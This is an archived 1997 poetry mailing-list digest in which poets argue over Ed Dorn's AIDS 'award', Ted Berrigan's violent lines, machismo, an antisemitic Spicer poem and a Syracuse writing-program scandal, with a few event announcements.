Kevin Killian's ("public") response to Jerome Rothenberg's clearheaded comments on the potential for malicious and/or ill-informed e-mail gossip--strikes me as rather odd:

1) KK informs us all that his letter to the Apex editors was/is "mean;"

2) he tells us the A editors refused to print it, but that it was then printed in a no doubt fugitive poetry newsletter;

3) he offers to send copy of the letter to anyone of us who wants to see it.

Is 1) some sort of preemptive self-criticism? If the author of a piece of writing characterizes it as "mean" even before anyone has set eyes on it, how can it be taken (seriously, as they say) as a 'definitive' answer to factual questions such as those asked by JR?

And 3): Why, if it is indeed "the answer," does KK not simply post it on this listserv? Allow me to, hereby, formally challenge him to do so.

(PS: Gwyn McVay--I bow deeply to your sweet wit.)

Anselm Hollo

↑ Index

744. **dbkk**
Re: killian / pug selves
Mon 24 Feb 1997

Dear Anselm,

Hi! It's Kevin Killian. Yes, 1) was a form of preemptive self-criticism. I don't expect you to take me "seriously." I felt drawn in to the ongoing discussion about Ed Dorn based on personal feelings, not definitive ones. I wrote my "open letter" as a friend and the literary executor of the poet Steve Abbott, who died of AIDS a few years after being awarded the "AIDS Award for Poetic Idiocy," in the pages of Ed Dorn's magazine "Rolling Stock." I write on behalf of one on whom a beaker of poisoned blood was poured by the talented staff artists on "Rolling Stock," one who on his deathbed still strove to understand the motives behind this attack, one who tried to forgive, one who tried so hard to forgive it

broke my heart. He is no longer alive, but I am, and why shouldn't I say exactly what I feel?

I decline your challenge to post my open letter on the poetics list. I have already offered to send it through the regular mail to anyone interested. However why should I waste the bandwidth of so many who have no interest in the subject? It's quite long and involved and also uses a lot of italics, Anselm.

It was published in a "fugitive" poetry publication, true, but don't hold that against it. (You might say "Rolling Stock" was a fugitive publication: that doesn't mean people don't read it, people don't take it to heart, and people don't cry after reading it.) What's "fugitive" and what's not? I forget what happens in the pages of the New York Times Book Review a minute after I read it, but I have not forgotten many of your poems, for example, years after I spotted them in various "fugitive" publications over the years.

Yours,

Kevin K.

↑ Index

745. **Tosh**
Re: killian / pug selves
Mon 24 Feb 1997

This Ed Dorn thing is so weird. Especially reading it on the list. Slowly but surely, i am getting a story about his supposed racism, and so forth. But it took like how many letters to this list to get this story out?

This is all very interesting, but I can't make a judgement on someone in this fashion. And I am not criticizing anyone on this list - this is for sure hitting a raw nerve (and perhaps rightfully so), but I don't feel comfortable talking about someone behind his back in such matter - meaning Dorn.

Perhaps it is best that this subject matter is transmitted by backchannel to interested parties. The issue should be talked about,and it is a good subject to bring up..but again, I am not comfortable with all this. Maybe he has changed and regrets his actions, or perhaps he is a creep galore. Again, I think it is best to focus on the writing and deal with racism within the work,and not talk about someone's private life and their demons - unless of course it is part of their creative work.

Tosh Berman
TamTam Books

↑ Index

746. Miekal And
Re: Berrigan likes to beat people up
Mon 24 Feb 1997

Rachel Loden wrote:

> *to turn the*
> *discussion on its ear.*

Yes, lets.

miekal

--
@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#
Dreamtime Village website: http://net22.com/dreamtime
QAZINGULAZA: And/Was/Wakest website:
http://net22.com/qazingulaza
e-mail for DT & And/Was: [redacted]

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747. nico vassilakis
lurkville
Mon 24 Feb 1997

fuck these
pompiss sic!
REJOINDERS

short n sloppy

↑ Index

748. Mark Weiss
Re: lurkville
Mon 24 Feb 1997

There's nothing wrong with being short. Stand tall.

At 12:30 AM 2/24/97 -0800, you wrote:
> fuck these
> pompiss sic!
> REJOINDERS
>
>
>
> short n sloppy

>
>

↑ Index

749. **Schuchat Simon**
Re: poets and their repugnant whatevers
Mon 24 Feb 1997

On Sun, 23 Feb 1997, Rachel Loden wrote:

> *My inner turntable keeps queueing up lovely snatches of (Berrigan's)*
> *_Sonnets_ in this connection, particularly "A few rape men or kill coons*
> *so I bat them!" from "Mess Occupations," or this variation on a theme:*
>
> > *Orange cavities of dreams stir inside "The Poems"*
> > *Whatever is going to happen is already happening*
> > *Some people prefer "the interior monologue"*
> > *I like to beat people up*
>
> *Rachel L.*

which Berrigan took in large part from Mes Occupations by Henri Michaux.

↑ Index

750. **Christopher Alexander**
Re: Wm's quote: "machine made of words..."?
Mon 24 Feb 1997

> can anyone tell me where WC Williams defines poetry as
> "a machine made of words"? randall jarrell quotes it in
> the 1949 intro to "selected poems", but w/out naming th
> source... much appreciated
it seems you already have yr answer, but to broaden
a bit you might look at Machine Art & other essays,
a recent collect6ion of Pound stuff.

c.
..
christopher alexander, etc.
[redacted]
(Marriott Library Computer Systems)

language code not found. illegal operation error.
this program will shut down, & all unsaved data will be
lost. if problem persists, consult your systems operator.

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751. **Rachel Loden**
Re: poets and their repugnant whatevers
Mon 24 Feb 1997

Schuchat Simon wrote:
>
> On Sun, 23 Feb 1997, Rachel Loden wrote:
>
> >
> > My inner turntable keeps queueing up lovely snatches of (Berrigan's)
> > _Sonnets_ in this connection, particularly "A few rape men or kill coons
> > so I bat them!" from "Mess Occupations," or this variation on a theme:
> >
> > Orange cavities of dreams stir inside "The Poems"
> > Whatever is going to happen is already happening
> > Some people prefer "the interior monologue"
> > I like to beat people up
> >
> >
> > Rachel L.
> >
>
> which Berrigan took in large part from Mes Occupations by Henri Michaux.

Yes--he credits Michaux ("after Michaux"), and I probably should have mentioned that.

Rachel

↑ Index

752. **Mark Wallace**
Berrigan likes to beat people up
Mon 24 Feb 1997

Rachel and others:

It's interesting to think about Berrigan's line "I like to beat people up," which has surely caused difficulty for many, in light of Ron Padgett's fascinating memoir of Berrigan, "Ted," which I've been reading in what few spare moments

I have these days. Berrigan's relation to conventionally "macho" behavior--itself a complex cultural/class phenomena--is equally complex. He seems to have admired some of the more rough and tumble male members of his own family, and in particular admired Padgett's own father, who really did, it seems, have an urge to beat people up. On the other hand, as much as Berrigan would "admire" such people, he spent his life staying as far away from them as possible, and Padgett reports that as far as he's aware of, Berrigan never did get into fights. If I'm reading Padgett right, that Berrigan was NOT a fighter was both a key to his difference from the men he grew up around, and a source of shame for him--he wanted out of that world but remained under the thumb of its definition of male behavior. I'm not going to go on a huge psychological trip here, but there are many indications that Berrigan internalized a violence he disliked but couldn't shake--is there an element of self-hate, self-mocking running throughout his work and his tendency to abuse his body? Can't say because I didn't know him, but it wouldn't surprise me.

Teaching at a community college in a small suburb, distant from Washington D.C., but which nonetheless has been reported in the local news as having "the largest amount of gang activity anywhere in Montgomery County," I'm used to dealing with students who have an obsessive relation to violence, even when they're on the run from it. More importantly, though, while I'm hardly in favor of "beating people up," it can be too easy to disassociate that kind of direct physical violence from the less apparent, but in some ways more successfully violent aspects of supposedly "safe" bourgeious society. My experience has been that some people from disadvantaged backgrounds are completely unprepard to deal with this kind of "indirect" violence--nobody punches you, but they deny you opportunities for reasons you never see coming. Indeed in some cases it might even be preferrable to have somebody violent standing in front of you--at least when the knockup punch comes, you have the opportunity to duck. The success of violence inside a disciplinary system is precisely that it no longer has to rely on beating you up directly--it has the incredible ability not only to bruise you permanently, but to leave you convinced that your only opponent was yourself.

mark wallace

/----------\ |
| | [redacted] "I have not yet begun | |
to go to extremes" | | GWU: |
| http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

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753. **Maria Damon**
Re: killian / pug selves
Mon 24 Feb 1997

bravo kevin. i have no wish to alienate so august a presence as anselm, but your initial post seemed clear enough to me. someone sez, what did dorn exactly do, you offer to clarify that matter, and your integrity gets impugned. as for the "fugitive publication" matter, perhaps i'm mistaken, but i thought one of the objects of this list, and certainly it is an object of my work, to bring the seriousness of such "fugitive" work to the fore and take it seriously. it does seem kind of weird when fugitivity is used to discredit an artifact *here* of all places.

At 10:57 PM -0800 2/23/97, [redacted] wrote:
>Dear Anselm,
>
>Hi! It's Kevin Killian. Yes, 1) was a form of preemptive self-criticism.
>I don't expect you to take me "seriously." I felt drawn in to the ongoing
>discussion about Ed Dorn based on personal feelings, not definitive ones.
>I wrote my "open letter" as a friend and the literary executor of the poet
>Steve Abbott, who died of AIDS a few years after being awarded the "AIDS
>Award for Poetic Idiocy," in the pages of Ed Dorn's magazine "Rolling
>Stock." I write on behalf of one on whom a beaker of poisoned blood was
>poured by the talented staff artists on "Rolling Stock," one who on his
>deathbed still strove to understand the motives behind this attack, one who
>tried to forgive, one who tried so hard to forgive it broke my heart. He
>is no longer alive, but I am, and why shouldn't I say exactly what I feel?
>
>I decline your challenge to post my open letter on the poetics list. I
>have already offered to send it through the regular mail to anyone
>interested. However why should I waste the bandwidth of so many who have
>no interest in the subject? It's quite long and involved and also uses a
>lot of italics, Anselm.
>
>It was published in a "fugitive" poetry publication, true, but don't hold
>that against it. (You might say "Rolling Stock" was a fugitive
>publication: that doesn't mean people don't read it, people don't take it
>to heart, and people don't cry after reading it.) What's "fugitive" and
>what's not? I forget what happens in the pages of the New York Times Book
>Review a minute after I read it, but I have not forgotten many of your
>poems, for example, years after I spotted them in various "fugitive"
>publications over the years.
>
>Yours,

>
>
>Kevin K.

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754. **Michael Magee**
Berrigan, O'Hara, and machismo
Mon 24 Feb 1997

Mark Wallaces comment, "Berrigan's relation to conventionally "macho" behavior--itself a complex cultural/class phenomena--is equally complex," reminded me of O'Hara, and of course of his relation to Berrigan. What he notes of Berrigan is all over O'Hara's work and biography too. Some have pointed to this as a complex dimension of his homosexuality - if he was going to love men, he was going to love *men* in their full, 1950's style cultural construction as tough-guys - hence his attraction to New York artistic toughs like Pollock, Baraka, Corso, and heterosexual men generally. What does this say? I don't know. In part it seems O'Hara's refusal to be stereotypically "gay" (what he couldn't stand in Warhol). In part it seems an indication that he was as trapped in the cultural constructions of his time as everyone else. Somehwere in btwn?

-Mike Magee.

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755. **Rachel Loden**
Re: Berrigan likes to beat people up
Mon 24 Feb 1997

Mark Wallace wrote (in part):
>
> Rachel and others:
>
> It's interesting to think about Berrigan's line "I like to beat
> people up," which has surely caused difficulty for many, in light of Ron
> Padgett's fascinating memoir of Berrigan, "Ted," which I've been reading
> in what few spare moments I have these days. Berrigan's relation to
> conventionally "macho" behavior--itself a complex cultural/class
> phenomena--is equally complex. He seems to have admired some of the more
> rough and tumble male members of his own family, and in particular admired
> Padgett's own father, who really did, it seems, have an urge to beat
> people up. On the other hand, as much as Berrigan would "admire" such
> people, he spent his life staying as far away from them as possible, and
> Padgett reports that as far as he's aware of, Berrigan never did get into

> fights. If I'm reading Padgett right, that Berrigan was NOT a fighter was
> both a key to his difference from the men he grew up around, and a source
> of shame for him--he wanted out of that world but remained under the thumb
> of its definition of male behavior.

Actually, I have no trouble with those lines; I adore them. My post wasn't meant as any sort of comment on Berrigan's behavior (am not saying that Mark thought it was, but just to be clear). Something in the campiness of the lines convinced me that Berrigan did not go around popping people. I posted them as comic relief, or to turn the discussion on its ear.

Rachel L.

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756. William Northcutt
dorn, etcetera
Mon 24 Feb 1997

I understand all the fuss about Dorn. What he and T. Clark published re: AIDS is a horrible thing. I'd like to hear their side of it if any of you have contact with them and they're interetested in responding--or have they elsewhere?

But on the other hand, it seems to me this list has taken a self-righteous turn. I admit, I don't know much about Dorn personally, but in my last decade + experience in the university, assholes abound and poets abound, and sometimes one is a subset of the other. Actually, it seems to me the university is concretising its self-righteous turn.

Among the subjects that seems to always come up, and for good reason, is Pound. I agree, Pound's behavior was evil, no matter how much anyone finds reasons--Italian isolation, etc. But on the other hand, telling the one story, as Bob Perelman has done, gets only one part of the job done--that is, I disagree with whoever it was who lauded Perelman's book on Genius. Perhaps the Stein, Zuk, and Joyce chapters are okay, but I find the chapter on Pound a bit trendy, a bit facile. Perelman takes the Pound of the late 1930s on and reads backwards, mostly ignoring the Pound whose reaction to the avarice that brought on WWI prompted him to take some admirable chances in his early Cantos; I find Perelman's book equally as underdone as those books which look at some of Pound's earlier thought and try to press that over the truely evil shit in Pound's later work.

I like Perelman's poetry.

I like Dorn's poetry too, especially Slinger.

I don't think one has to be schizophrenic to see in the work something useful and something humane, and to see at the same time that it may be set beside something awful in the human being who wrote it, or even in the very next line of the poetry itself.

Rather than seeing the world in Hollywood black and white, wouldn't it be more useful to explore the complications of "good" and "evil" (as they've been labled on this list)? In the case of someone such as William Faulkner, for example. It's true of his work that his portrait of blacks is sometimes terribly condescending, and he wasn't exactly an advocate of the Civil Rights movement in the South, but it doesn't mean that his work doesn't have moments which might teach some biggot a lesson in humanity.

Opening the subject is preferable to closing it, becoming Rush Limbaugh of the Left.

William Northcutt

Much madness is divinest sense to a discerning eye.
William M. Northcutt
[redacted]

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757. **Mark Prejsnar**
Re: spell check and ethics check
Mon 24 Feb 1997

I wouldn't offhand from his work in theory and verse find it likely Perelman is saying anything remotely like that, anything quietistic....Since your response sounds pretty unsympathetic, I have to chirp up to say that I thought his points were important. It is indeed a matter of macho and "street cred" to put your politics forward in a brash in-your-face sort of way. From working on the left as an activist as well as poet for 20 years, I'd say that that's often a temptation, whether in poetry or in life, if your politics are passionate (and especially if they are, as you see it, oppositional..) It is indeed true that from Pound to Andrews a rhetoric of heightened tension is used to sandblast poetry from its esthetic moorings and let politics in. (Perelman's own work has enough snickers about its own politically contradictory positions, to avoid truculence..)

There is a closely-related current of political poets who often enact progressive politics in a way that talks around suffering and confusion, rather than ramming thru it with anger; Oppen, Zukofsky and John Taggart (see his book/sequence Loop).

Mark Prejsnar

On Fri, 21 Feb 1997, Mark Weiss wrote:

> *Just to be clear, I'm assuming that what you mean by "large political ambitions" is a social agenda motivated by distress at the situation we find ourselves in, as opposed to a desire for public office.*
> *Do you think that what you describe is limited to poets? Male poets? Males?*
> *Is it possible that these really are tough and demoralizing times for those who believe in some sort--any sort--of equitable society?*
> *Are you proposing aesthetic quietism as a proper, even a possible, cure for those of us who continue to be afflicted with savage indignation?*
>
> *At 03:42 PM 2/21/97 -0500, you wrote:*
> *Poets with large political ambitions seem to have a hard time avoiding stepping in real dreck the last few decades.*

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758. Christopher Alexander
Re: Repugnant selves
Mon 24 Feb 1997

---

kevin wroth:
> What would you have done? I had the piece of paper right in my hand, and
> no one would ever have known.
id have to agree with mark on this one too kevin--
im sympathetic to the urge to destroy the poem
(is that protecting
spicer from others
who will/do write
him off as another
worthless antisemite
--or from himself?)
but, yes, that act would have been antithetical to
your task as i understand it.

besides that, could you have destroyed the poem?
or would the poem (& the having destroyed it)
have come to underwrite you efforts as biographer?
i realize theres a sharp difference between these
positions--exposing the poem or concealing it --
& im not suggesting that you would somehow
have legibly re-inscribed the absent poem, or not,
at least, that the re-inscription would be immediately
legible. the question is probably more ethical than

textual, though both. oops, now it sounds like im
questioning yr ethics--damn this language stuff is a
tricky lot. "must...get to...the...point...."

well, unless this was a confession, it sounds as
if you made the right decision, or right by me.
better to deal with these things openly, & the
risk that entails, than hope theyll go away. spicer
left plenty of antisemitism in his wake; i dont
anticipate this instance will be less shocking for
that, but, too, it isnt as if you could have purified
him through this one destruction.

for what its worth, i think you & maria damon are
right in factoring in spicers monstrous self-image,
which isnt an apology for him either (not that you
make it out to be one).

far from wanting to punch someone,
id like to cry--even for spicer, ugly
as he made himself. & im usually so
geared up & macho, too. i guess, as
mark says, i cant talk to him about
it--cant even fight with him about--
& the distance that makes. but also
because, well, one always feels hurt
by these things.

57 carbuerator, not a
candidate for--chris,[
reinscribing machismo
..
christopher alexander, etc.
[redacted]
(Marriott Library Computer Systems)

language code not found. illegal operation error.
this program will shut down, & all unsaved data will be
lost. if problem persists, consult your systems operator.

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759. **Mark Prejsnar**
Re: spell check and ethics check
Mon 24 Feb 1997

The mention of Neruda and Mayakovsky is helpful....Altho' I'd take it somewhere a little different. The historical specificity of bolshie Communism gives the range of poets connected to it their own interesting twist. Compared to the examples Simon cites, we can put: Oppen; Cesar Vallejo; and the more densely surrealistic Neruda (especially the early sections of Residencia in la Tierra, but also Alturas de Macchu Pichu, which is an atypical part of the Canto General!) This is just to stick to (literally) card-carrying Communists. Oh, and another card-carrying red: Eluard. The latter group for me are among the poets that from my early teens helped define how good poetry interacts with the world..That they did so while actively belonging to as stifling a form of leftism as the 3rd International, is truely commentary on the human spirit, and tends to give me a whole lot of hope for people, progressive politics and the possibilities of poetry...Maybe even for myself. Mark Prejsnar

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760. **Thomas M. Orange**
louisville
Mon 24 Feb 1997

---

joe amato writes:
> [snip]... tobias woolf read, who in fact i now see is completely
> embroiled in the syracuse university creative writing program
> controversy!...

joe could you elaborate?....thanks, t.

↑ Index

761. **amato**
Re: Berrigan likes to beat people up
Mon 24 Feb 1997

---

mark, yknow, maybe i'm a bit punchy, but there really ARE some folks i've met in academe, and in industry, that i'd like to punch in the snoot...

now as to industry: in fact there *were* more than a couple of physical confrontations at the miller brewing co. site where i used to work... in fact i was threatened on two occasions with physical violence (i shit you not), and in fact i ended up having---as in HAVING---to ask one of my "coworkers" who walked up and planted the bottom of his shoe on the side of my desk, HARD, to 'meet me

out in the fucking parking lot'... he declined, i am happy to report, and the phenomenon ended there...

but i offer this by way of not over-aestheticizing the issues: there are STILL very male, very macho environments "out there" where, sad to say, physical confrontation, largely between males, is, if not the rule, then at least the subtext... on another occasion, i was in a bar, attending a going-away-party, when a "coworker" poured an entire beer down the front of my shirt (at the prompting of his supervisor---"just doing what i'm told, joe")... took great effort on my part to avoid popping that motherfucker, to simply walk away... in fact, i think my behavior on the evening in question was downright *heroic*, but my more macho side has dreams about hitting him to this day... the point here anyway is that academe seems to have institutionalized, as you (and foucault) would suggest, an anti-violence that provides for other sorts of violence...

i'm not really quite sure which is worse, provided of course i'm not choosing between a bloody nose and psychological strain... i mean, MY bloody nose... if i AM so choosing, i guess i'll take the strain, not so much b/c i'm such a 'civilized' guy, but b/c a bloody nose, yknow, that really fucking smarts...

best,

joe

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762. **dbkk**
Re: playwrights
Mon 24 Feb 1997

I'm glad that Templeton and Perloff have turned the discussion to playwrights. Dear Fiona and Marjorie, I'm sorry that you will be in the UK and in LA respectively since I am putting on my new play here in San Francisco on March 6.

"'Political Animals' is Kevin Killian's farce about the 1996 conventions in which hundreds of cultural and politicial figures (Nancy Reagan, Guy De Bord, Dorothy Arzner, Liffy Dole, Bill Clinton, Scott O'Grady, Christopher Reeve, Mary Matalin etc. etc.) converge on two great US cities, San Diego and Chicago, to promulgate their own dreams of lust, power and despair." My cast includes the visual artists Kate Delos, Phoebe Gloeckner, Cliff Hengst, Scott Hewicker, Rex Ray, Michelle Rollman and Wayne Smith; the poets Norma Cole, Leslie Scalapino and Alicia Wing; the filmmakers Kota Ezawa, Craig Goodman, and Karla Milosevich; actresses Julia Brashares, Ethel Chase and Pauline Facciano; and prose writers David Buuck, Mark Ewert, Nicole Harrison and Kevin Killian. AND many more.

The Ansel Adams Center for Photography is producing this play for one evening only, Thursday, March 6 at 7 p.m. They're at 250 Fourth Street (at Folsom). Please call the museum for reservations = [redacted]. I know that on that evening John Jesurun and Mac Wellman will be trembling in trepidation! Thanks, everyone, please try to come if you'll be in the Bay Area a week from Thursday.

--Kevin Killian

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763. **Mark Prejsnar**

Re: Repugnant selves

Mon 24 Feb 1997

In response to the conundrum of the Spicer poem. I'm not a scholar; a library professional and social activist and poet, however.

The impulse to destroy, or even hide, doesn't pull as strongly on me, Kevin...I wonder why... (Spicer has been for me a central inspiration re what poetry can/should be, for 15 years) Apart from not being involved with him as scholar/biographer, what makes me less torn? Is it that given Pound, I feel de-sensitized to the issue--like, we've done that, we can accept the worst warts on the poets we love, after working the earlier problem through??

I do feel there is one component: As a socialist activist I have often encountered protests of screenings of Birth of a Nation; these are often taking place on a campus where I work in the library system. Usually what these protests say is: we demand that no one ever show this film, and that people boycott this screening, to help carry this out. What I realized long ago, is that it's destructive to tell people they shouldn't know about racist artworks, or to try to keep them out of the culture. Speaking against them, is more empowering both for us as users/makers of art stuff, and as people in a political world. Somehow I don't feel that hiding something done by a poet, changes things for the better. As a socialist I found it literally insane to tell people to join in condemning/avoiding a film they had never seen, to avoid seeing it because some leninist activists TOLD them is had a certain character..What's wierd is the implication that people can be INFECTED by the racist or reactionary character of a work, that they can't protect themselves if they are "exposed". (This reminds me again of the discussion of Pound's fear of infection by the welter of experience he unleashed in the Cantos, discussed by Bernstein.)

Mark Prejsnar

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764. **MAXINE CHERNOFF**
Re: Berrigan likes to beat people up
Mon 24 Feb 1997

Dear Morality Junkies: What if Ted Berrigan actually did punch someone once? What if a fine, morally pure, socially sensitive poet is mean to his/her partner or children? What if he/she has bad taste in movies? Or puts ugly art on their walls? Or occasionally drinks too much? Or once, in a moment of frail humanity, said something unkind about someone else? What if Gertrude Stein voted Republican? What if she didn't exercise her right of citizenship and vote at all? What if she was (or anyone else) is mean, weak, ill-advised? What if she were a flatterer or dishonest? Where does this end? If we want our writers to be righteous beyond reason, maybe we need to read... what? The fact that some misbehave publically and others (most likely) privately (at least at some point in their long lives) is a fact of most people's existence on earth. Even writers we love. Sorry folks, but it's true. Of us all.

Maxine Chernoff

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765. **Mark Prejsnar**
Re: Neruda/Stalin
Mon 24 Feb 1997

I'd like to mention that most of this thread, with sharp contributions from a number of folks, and particularly the Kent/Mark exchange, has been awfully productive, and a very unusual model of political/poetical debate done with respect and with people quite often listening to each other in a non-exclusionary way...Not easily found in outer cyber space, where people are careless; not often enuff found on the non-poetic left, either, for sure!

Mark Prejsnar

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766. **Mark Prejsnar**
Re: AWOL: _Antithesis_ seeking poetry (forwarded)
Mon 24 Feb 1997

I do like one part of the Antithesis posting

"innovative BUT technically accomplished poetry" (my emphasis)

--just how you say things can speak volumes

Mark Prejsnar

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767. **Mark Weiss**
Re: spell check and ethics check
Mon 24 Feb 1997

I may certainly have misunderstood. It must be lovely for Mr. P to have so many people willing to answer his mail for him. I answer my own.

At 10:43 AM 2/24/97 -0500, you wrote:
>I wouldn't offhand from his work in theory and verse find it likely
>Perelman is saying anything remotely like that, anything
>quietistic....Since your response sounds pretty unsympathetic, I have to
>chirp up to say that I thought his points were important. It is indeed a
>matter of macho and "street cred" to put your politics forward in a brash
>in-your-face sort of way. From working on the left as an activist as well
>as poet for 20 years, I'd say that that's often a temptation, whether in
>poetry or in life, if your politics are passionate (and especially if they
>are, as you see it, oppositional..) It is indeed true that from Pound to
>Andrews a rhetoric of heightened tension is used to sandblast poetry from
>its esthetic moorings and let politics in. (Perelman's own work has
>enough snickers about its own politically contradictory positions, to
>avoid truculence..)
>
>There is a closely-related current of political poets who often enact
>progressive politics in a way that talks around suffering and confusion,
>rather than ramming thru it with anger; Oppen, Zukofsky and John Taggart
>(see his book/sequence Loop).
>
>Mark Prejsnar
>
>
>On Fri, 21 Feb 1997, Mark Weiss wrote:
>
>> Just to be clear, I'm assuming that what you mean by "large political
>> ambitions" is a social agenda motivated by distress at the situation we find
>> ourselves in, as opposed to a desire for public office.
>> Do you think that what you describe is limited to poets? Male poets? Males?
>> Is it possible that these really are tough and demoralizing times for those
>> who believe in some sort--any sort--of equitable society?
>> Are you proposing aesthetic quietism as a proper, even a possible, cure for
>> those of us who continue to be afflicted with savage indignation?
>>
>>
>> At 03:42 PM 2/21/97 -0500, you wrote:

>> >Poets with large political ambitions seem to have a hard time avoiding
>> >stepping in real dreck the last few decades.
>>
>
>

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768. **amato**
syracuse university...
Mon 24 Feb 1997

---

thomas, there's a big feature in _the chronicle of higher ed_ (pertaining to that post forwarded in these regions) about how the creative writing program at syracuse university is now under attack from various quarters---from the marxist theory collective there, from grad. students there, from its former director (now at u of alabama)...

again: the article, in my view, doesn't do a good job of drawing out the various subtexts... for example: the incident that prompted the brouhaha (the glass of scotch and insult i reported) is surely part of a structural reality that isn't being examined entirely... there's a reason why donald morton, colleague of mas'ud zavarzadeh (sp?) at syracuse (who is, last i knew, teresa ebert's partner---and ebert is at u of albany, where the "red theory collective" is located who signed that forward protesting the chronicle piece)---there's a reason why morton is quoted in the chronicle... and the insult---"stalinist bitch"---is not only a nasty gendered insult, but it would seem to pick up ("stalinist") on the theory-creative split that typifies most english depts... in this case, unreconstructed marxist theory...

wolff has evidently been accused by the former director of the program, michael martone, of 'driving him [martone] out'... martone suggests that dobyns (the prof. who through the scotch etc) is being reinstated in part b/c of wolff, that dobyns should have been fired long ago (which sounds accurate to me---though i don't trust martone either, b/c he seems to be taking potshots from afar)... wolff's retort is that he tried to "exert what positive influence he could" in approaching dobyns about his drinking problem... at the same time, writer mary karr, who sides with wolff here, is being accused of using "vulgar language" in class... this latter i can identify with, having mself chosen not to censor my language practices (which are clearly working class in many ways)... anyway, the karr issue is, it seems to me, obscuring some very real structural problems with master-apprentice teaching, and some specific gender issues that are simply not reducible to marxist logics of consumption and production...

for example: dobyns evidently "blew up" in one workshop, "using the 'F' word in criticizing a poem written by a student about her rape by her father"... dobyns evidently "explained [to the chronicle] that the poem didn't work because the student was telling the reader what to think rather than allowing the poem to evoke feelings"... the student in question ran weeping from the class... as many women in creative writing classes will tell you, this is precisely the sort of male response that denies women the right to their own 'voices' (setting aside for a second the convention of 'voice'... i am reminded of susan howe's response to olson's poetics in _in relation_ acts 10)...

it's a MESS, in short... sure, the "red theory collective" is correct in pointing to structural problems with the hiring of individual 'talents' in creative writing programs, with the status of 'talent' as a commodity... but where, precisely, do the marxists stand on this question of gender, where do they STAND?... i mean, if false consciousness is thereby dismantled (i say IF---it's not clear that this is about althusserian ideology), to what end will it lead, if not the rather dogmatic end suggested by teresa ebert's recent piece in _college english_ (nov. 96 "for a red pedagogy: feminism, desire, and need"): that, over and against "libidinal pedagogy," "red pedagogy demystifies the seemingly unique experiences and the supposed autonomy of desire and shows how they are, in fact, the 'common' effects of the social relations of production in wage-labor capital"... those of you who teach will note that the instructor in this latter classroom scenario is clearly just another master, whose job is to convert students into like subjects... i don't find this especially liberating, though ebert does make some good points along the way...

one final point: i have the letter written by jennifer cotter, the student whom dobyns assaulted with his drink and his mouth... i don't find it particularly persuasive, b/c it sounds very much as though she wants her case to be taken as an instance of the effect that the marxist collective wishes itself to surface... that is, while what happened is in my view decidedly part of various structural problems, these problems are not reducible to unreconstructed marxist logic...

but that's just me talking...

best,

joe

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769. **Mark Prejsnar**
Re: Berrigan likes to beat people up
Mon 24 Feb 1997

Yes, we're all less than perfect...I dunno if most posts have been fixes for Morality Junkies, though..... Personally I've thought the passion people on the list have been putting into these questions pretty politically (& poetically) refreshing,,==

Most of us live in a day-to-day world where real live political issues never get brought up with any seriousness at all!! ever! in relation to poetry, or anything else..

mark Prejsnar

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770. **Mark Weiss**
Re: Repugnant selves
Mon 24 Feb 1997

I have another suggestion about how to deal with the Spicer poem and other objectionable writing. In the not-so-old days the custom was to translate prurient passages of texts into Latin, so as not to endanger the minds of those (usually from the lower orders) who had not been uplifted by the study of, say, Petronius. That would work. Need I say that I'm being facetious?

At 09:55 AM 2/24/97 MDT, you wrote:
>kevin wroth:
>> What would you have done? I had the piece of paper right in my hand, and
>> no one would ever have known.
>id have to agree with mark on this one too kevin--
>im sympathetic to the urge to destroy the poem
>(is that protecting
>spicer from others
>who will/do write
>him off as another
>worthless antisemite
>--or from himself?)
>but, yes, that act would have been antithetical to
>your task as i understand it.
>
>besides that, could you have destroyed the poem?
>or would the poem (& the having destroyed it)
>have come to underwrite you efforts as biographer?

>i realize theres a sharp difference between these
>positions--exposing the poem or concealing it --
>& im not suggesting that you would somehow
>have legibly re-inscribed the absent poem, or not,
>at least, that the re-inscription would be immediately
>legible. the question is probably more ethical than
>textual, though both. oops, now it sounds like im
>questioning yr ethics--damn this language stuff is a
>tricky lot. "must...get to...the...point...."
>
>well, unless this was a confession, it sounds as
>if you made the right decision, or right by me.
>better to deal with these things openly, & the
>risk that entails, than hope theyll go away. spicer
>left plenty of antisemitism in his wake; i dont
>anticipate this instance will be less shocking for
>that, but, too, it isnt as if you could have purified
>him through this one destruction.
>
>for what its worth, i think you & maria damon are
>right in factoring in spicers monstrous self-image,
>which isnt an apology for him either (not that you
>make it out to be one).
>
>far from wanting to punch someone,
>id like to cry--even for spicer, ugly
>as he made himself. & im usually so
>geared up & macho, too. i guess, as
>mark says, i cant talk to him about
>it--cant even fight with him about--
>& the distance that makes. but also
>because, well, one always feels hurt
>by these things.
>
>57 carbuerator, not a
>candidate for--chris,[
>reinscribing machismo
>..
>christopher alexander, etc.
>[redacted]
>(Marriott Library Computer Systems)
>

>language code not found. illegal operation error.
>this program will shut down, & all unsaved data will be
>lost. if problem persists, consult your systems operator.
>
>

↑ Index

771. **Alaric Sumner**
Mac Wellman play
Mon 24 Feb 1997

I would be interested in a more detailed "enthusiasm" from Marjorie Perloff (or (forefend) the opposite) from other people who have seen Mac Wellman's play since I will not be able to see it (unless it tours to UK). Either list if you think others will be interested, or if preferred, email me direct with comments. Is Mac on this list? Is he emailable? Have the poems of his I published in "words worth 2:1" been published in book form?

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772. **Mark Prejsnar**
Re: spell check and ethics check
Mon 24 Feb 1997

Mark Weiss-- actually, since this little joke has been lobbed at several folks, not just me-- Most of us were trying to use Perelman plus various responses to his posting as a springboard for some comments of our own; the point of all those posts was really to carry the exchange forward..Perelman was a bit of a pretext (..we all use each other, as pretexts, at times..)

--don't actually think he should feel that people were answering for him...most of us weren't..

↑ Index

773. **Jordan Davis**
Repugnant radio poetry city
Mon 24 Feb 1997

Poetry City starts back up in the evenings and on the radio ***

Friday March 7 come see Lee Ann Brown read with Quentin Crisp

Thursday March 28 in from the other side Lyn Hejinian and Travis Ortiz

Thursday April 24 New York is visited by Maureen Owen and Eddie Berrigan

Friday May 16 Poets of similar temperament Bob Holman and Dug Rothschild read

Poetry City proper is in the offices of Teachers & Writers CollaboraŶive 5 Union Sq W NYC 10003 (7th fl)

---
get off the air! poetry city
begins its second season of radio broadcasts
on WNYE's Poetry-in-the-Morning show, Tues and Thurs, 11:45 am-noon 91.9 FM NYC

2/27 -- Steve Carll

3/4 -- (not po city) Donald Hall

3/6 -- Daniel Bouchard

3/11 -- David Mills

3/13 -- (not po city .. but only cause of schedule conflict) Karen Volkman

3/18 -- Anselm Berrigan

tune in! we're on in stereo ..

J

↑ Index

774. **Mark Weiss**
